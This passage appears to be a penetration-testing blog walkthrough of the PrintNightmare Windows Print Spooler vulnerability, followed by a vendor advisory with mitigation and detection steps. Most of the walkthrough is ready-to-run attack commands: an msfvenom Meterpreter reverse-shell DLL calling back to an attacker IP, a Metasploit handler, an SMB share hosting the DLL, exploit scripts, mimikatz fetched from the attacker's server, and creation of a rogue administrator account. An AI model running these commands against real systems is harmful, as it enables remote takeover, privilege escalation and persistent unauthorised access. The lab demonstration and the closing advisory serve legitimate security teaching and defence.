He further elaborates that for pDataFile and pDriverPath there is a check in Windows that these DLLs can’t be a UNC path. But pConfigFile can be a UNC path and therefore an attacker can do the following:

​ pDataFile =A.dll

​ pConfigFile =\attacker_shareevil.dll

​ pDriverPath=C.dll

Which in theory would force Windows to load evil.dll from an attacker’s share.

Thus, the authentication bypass happens as follows:

  • RpcAddPrinterDriver is called with suggested parameters and a UNC path leading to malicious DLL
  • Malicious DLL is copied in C:WindowsSystem32spooldriversx643evil.dll
  • But this raises an access conflict so, we invoke Driver backup function and copy old drivers (including our malicious DLL) to the directory C:WindowsSystem32spooldriversx643old1
  • Replace pConfigFile path to DLL to this C:WindowsSystem32spooldriversx643old1evil.dll path
  • Access restriction is now bypassed and DLL loaded into spoolsv.exe successfully

This was elaborated in his writeup on Github which was removed. However, if you start your engines and travel your “wayback” into the time, you might be able to find it here 🙂

And the above stated process is the fundamental mechanism behind the working of exploits we will see in this article.

Machine IPs

Throughout the demo, following IP addresses have been taken:

Attacker IP: 192.168.1.2

Victim IP: 192.168.1.190

Compromised Credentials used: ignite/123

Method 1 – PrintNightmare RCE using Python

This is the method pertaining to CVE-2021-34527 (remote code execution as admin). You can find Cube0x0’s official PoC here. We will be using a forked version here.

First, we need to create a malicious DLL file which would run as ADMINISTRATOR. We use msfvenom for this.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll

Now, we can check if the target is vulnerable or not using metasploit’s auxiliary module. Here, I have entered a random path for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit’s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.

use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit

We now start a handler beforehand prior to executing our DLL file using the exploit.

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit

Now, we need to clone the github repo. We are using a forked version of Cube0x0’s original exploit.

git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py

Alright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket’s smbserver.

Add the share name you want (in my case, “share” is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.

python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root

With everything prepped up and ready, we can launch the RCE exploit. The execution is simple

./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’

Here, we just launched a share on impacket, we will use that as the UNC path

./CVE-2021-34527.py ignite:123@192.168.1.190 '\192.168.1.2shareevil.dll'

As you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!

Method 2 – PrintNightmare LPE using Powershell

We have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn’t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.

git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al

Now, once the victim is compromised, we can upload this ps1 file in UsersPublic directory using IWR and setting up a python http server in the CVE-2021-1675 directory.

cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O UsersPubliccve.ps1
cd C:UsersPublic
dir

Now, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:

powershell -ep bypass
Import-Module .cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"

As you can see, the script has made a custom DLL that adds a new user “harsh” with password 123 in admin group and the script has exploited print spool.

net localgroup administrator

We can confirm this by logging in to the victim using psexec.

python3 psexec.py harsh:123@192.168.1.190

We are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now.

Method 3 – Printnightmare LPE using Mimikatz

When the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file “evil.dll” and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.

python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O usersPublicmimikatz.exe
misc::printnightmare /library:\192.168.1.2shareevil.dll /authuser:ignite /authpassword:123 /try:50

As mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.

Make sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!

And thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability.

Patch Status

Microsoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin advisory mentioned in the introduction. Furthermore, system admins should consider disabling point and print functionality and disabling printing on users where it is not necessary.

Conclusion

Due to the nature of this vulnerability and ease of exploitation, PrintNightmare is a severe vulnerability that got a de-facto vulnerability of the year award in 2021. Many newer exploits have arised since then that target spoolsv.exe and despite all the efforts by Microsoft, patches are getting bypassed and so, it is highly recommended that analysts stay aware of upcoming threats to Print Spooler and keep their monitoring definitions updated. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

Keep up to date with latest blog posts


Windows Print Spooler Service RCE (CVE-2021-1675)

Picus Labs has updated the Picus Threat Library with an attack that exploits a critical Remote Code Execution (RCE) vulnerability in the Windows Print Spooler Service (CVE-2021-1675), also known as PrintNightmare.

This vulnerability is classified as an elevation of privilege vulnerability [1], but it also allows authenticated users to gain remote code execution with SYSTEM-level access. Although Microsoft released an advisory for CVE-2021-1675 on June 8, 2021 [2], security researchers demonstrated that it is still exploitable on some patched systems [3]. Picus Labs Red Team has also confirmed that publicly available exploits work against fully patched Windows systems.

Affected Software

Vulnerability Type

CVSS 3.1 Base Score

Affected Platforms

Windows Print Spooler

Remote Code Execution (RCE), Elevation of Privilege

7.8 High

Windows Server 20H2r, 2019, 2016, 2012 R2, 2012, 2008 R2, 2008, 2004 

Windows 10, 8.1, 7

Its CVSS 3.1 base score is 7.8 high, not critical, because you need a valid user account to use the Windows Print Spooler service. However, this score may mislead you. It is a very critical vulnerability since the Spooler service is enabled in Domain Controllers (DC) by default. So, an attacker can use a compromised account to exploit this vulnerability to gain control of the Domain Controller.

Attack Simulation

You can test your security controls against this vulnerability using the Picus Security Control Validation Platform. Picus Threat Library includes the following threat for CVE-2021-1675 PrintNightmare vulnerability. It contains 1500+ vulnerability exploitation and endpoint attacks in addition to 10.000+ other threats as of July 2, 2021.

Picus ID

Threat Name

648368

Windows Print Spooler EoP Scenario via PrintNightMare

Mitigation Recommendations

  • The patch is ineffective at the moment.
  • You can use one of the following methods to disable the print spooler service on all endpoints, servers, and domain controllers.
    • CMD shell
      net stop spooler
      REG ADD "HKLMSYSTEMCurrentControlSetServicesSpooler" /v "Start " /t REG_DWORD /d "4" /f

    • PowerShell: 
      Stop-Service -Name Spooler -Force
      Set-Service -Name Spooler -StartupType Disabled

Detection Recommendations

You can use the following PowerShell one-liner to highlight PrintNightmare exploitation attempts [4]:

Get-WinEvent -LogName 'Microsoft-Windows-PrintService/Admin' | Select-String -InputObject {$_.message} -Pattern 'The print spooler failed to load a plug-in module

You can look at:

  • Event ID: 808 “Initializing”
  • Error code in log: ‘0x45A’
  • Key phrase in log: «The print spooler failed to load a plug-in module»

References

[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675

[2] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675

Понравилась статья? Поделить с друзьями:
  • Windows print screen part of the screen
  • Windows presentation foundation что это такое
  • Windows presentation foundation terminal server print w обнаружена ошибка
  • Windows player portable скачать бесплатно для windows 10
  • Windows presentation foundation font cache служба